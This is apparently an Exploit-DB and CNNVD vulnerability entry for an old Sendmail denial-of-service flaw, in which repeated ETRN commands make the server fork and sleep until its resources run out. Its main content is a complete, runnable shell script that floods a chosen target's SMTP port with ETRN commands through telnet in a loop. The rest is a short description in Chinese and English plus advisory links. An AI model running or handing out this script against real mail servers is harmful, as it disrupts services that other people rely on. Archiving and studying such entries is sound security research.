https://www.exploit-db.com/exploits/19701
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-072

Sendmail8.10.0之前的版本存在漏洞，远程攻击者利用该漏洞通过发送一系列ETRN命令，然后从服务器断开连接导致拒绝服务，而Sendmail在连接终止之后继续处理命令。

source: http://www.securityfocus.com/bid/904/info

There is a low-bandwidth dos vulnerability in Sendmail. When a client connects to the sendmail smtpd and sends an ETRN command to the server, the server fork()s and sleeps for 5 seconds. If many ETRN commands are sent to a server, it is possible to exhaust system resources and cause a denial of service or even a reboot of the server.

#!/bin/sh

TARGET=localhost
COUNT=150
SLEEP=1

echo "gurghfrbl.sh - (c) lcamtuf '99"
echo -n "Tickle"

while :; do
echo -n "."
(
NIC=0
while [ "$NIC" -lt "$COUNT" ]; do
echo "ETRN x"
done
) | telnet $TARGET 25 &>/dev/null &
sleep $SLEEP
killall -9 telnet &>/dev/null
done

来源:BUGTRAQ
名称:20000113Re:procmail/Sendmail-fivebugs
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94780566911948&w;=2
来源:BUGTRAQ
名称:19991222Re:procmail/Sendmail-fivebugs
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94632241202626&w;=2
来源:BID
名称:904
链接:http://www.securityfocus.com/bid/904
来源:XF
名称:sendmail-etrn-dos(7760)
链接:http://www.iss.net/security_center/static/7760.php